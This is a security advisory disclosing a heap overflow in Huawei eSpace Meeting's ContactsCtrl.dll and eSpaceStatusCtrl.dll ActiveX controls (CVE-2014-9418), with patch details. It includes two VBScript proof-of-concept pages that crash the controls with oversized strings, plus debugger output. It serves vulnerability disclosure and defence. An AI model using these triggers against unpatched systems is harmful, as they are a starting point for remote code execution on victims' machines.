85 lines
No EOL
3.5 KiB
Text
85 lines
No EOL
3.5 KiB
Text
Huawei eSpace Meeting ContactsCtrl.dll and eSpaceStatusCtrl.dll ActiveX Heap Overflow
|
||
|
||
|
||
Vendor: Huawei Technologies Co., Ltd.
|
||
Product web page: https://www.huawei.com
|
||
Affected version: eSpace 1.1.11.103 (aka eSpace ECS, eSpace Desktop, eSpace Meeting, eSpace UC)
|
||
eSpace UC V200R002C02
|
||
|
||
Summary: Create more convenient Enhanced Communications (EC) services for your
|
||
enterprise with this suite of products. Huawei’s EC Suite (ECS) solution combines
|
||
voice, data, video, and service streams, and provides users with easy and secure
|
||
access to their service platform from any device, in any place, at any time. The
|
||
eSpace Meeting allows you to join meetings that support voice, data, and video
|
||
functions using the PC client, the tablet client, or an IP phone, or in a meeting
|
||
room with an MT deployed.
|
||
|
||
Desc: eSpace Meeting suffers from a heap-based memory overflow vulnerability when parsing
|
||
large amount of bytes to the 'strNum' string parameter in GetNameyNum() in 'ContactsCtrl.dll'
|
||
and 'strName' string parameter in SetUserInfo() in eSpaceStatusCtrl.dll library, resulting
|
||
in heap memory corruption. An attacker can gain access to the system of the affected node
|
||
and execute arbitrary code.
|
||
|
||
Vuln ActiveX controls:
|
||
C:\Program Files\eSpace-ecs\ContactsCtrl.dll
|
||
C:\Program Files\eSpace-ecs\eSpaceStatusCtrl.dll
|
||
|
||
Tested on: Microsoft Windows 7 Professional
|
||
|
||
|
||
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||
|
||
23.09.2014
|
||
|
||
Patched version: V200R001C03
|
||
Vuln ID: HWPSIRT-2014-1157
|
||
CVE ID: CVE-2014-9418
|
||
Advisory: https://www.huawei.com/en/psirt/security-advisories/hw-406589
|
||
|
||
--
|
||
|
||
|
||
ContactsCtrl.dll PoC and debug output:
|
||
|
||
<object classid='clsid:B53B93C2-6B0D-4D30-B46D-12F64E809B6D' id='target' />
|
||
<script language='vbscript'>
|
||
targetFile = "C:\Program Files\eSpace-ecs\ContactsCtrl.dll"
|
||
prototype = "Function GetNameByNum ( ByVal strNum As String ) As String"
|
||
memberName = "GetNameByNum"
|
||
progid = "ContactsCtrlLib.ContactWnd"
|
||
argCount = 1
|
||
arg1=String(616400, "A")
|
||
target.GetNameByNum arg1
|
||
|
||
0:000> d esi
|
||
04170024 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
||
04170034 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
||
04170044 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
||
04170054 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
||
04170064 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
||
04170074 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
||
04170084 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
||
04170094 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
||
|
||
|
||
eSpaceStatusCtrl.dll PoC and debug output:
|
||
|
||
<object classid='clsid:93A44D3B-7CED-454F-BBB4-EE0AA340BB78' id='target' />
|
||
<script language='vbscript'>
|
||
targetFile = "C:\Program Files\eSpace-ecs\eSpaceStatusCtrl.dll"
|
||
prototype = "Sub SetUserInfo ( ByVal strAccount As String , ByVal staffNo As String , ByVal strName As String , ByVal status As Long )"
|
||
memberName = "SetUserInfo"
|
||
progid = "eSpaceStatusCtrlLib.StatusCtrl"
|
||
argCount = 4
|
||
arg1="defaultV"
|
||
arg2="defaultV"
|
||
arg3=String(14356, "A")
|
||
arg4=1
|
||
target.SetUserInfo arg1 ,arg2 ,arg3 ,arg4
|
||
|
||
0:005> r
|
||
eax=feeefeee ebx=02813550 ecx=feeefeee edx=feeefeee esi=0281369c edi=02813698
|
||
eip=776def10 esp=029dfd60 ebp=029dfd74 iopl=0 nv up ei ng nz ac po cy
|
||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293
|
||
ntdll!RtlEnterCriticalSection+0x4a:
|
||
776def10 83790800 cmp dword ptr [ecx+8],0 ds:0023:feeefef6=???????? |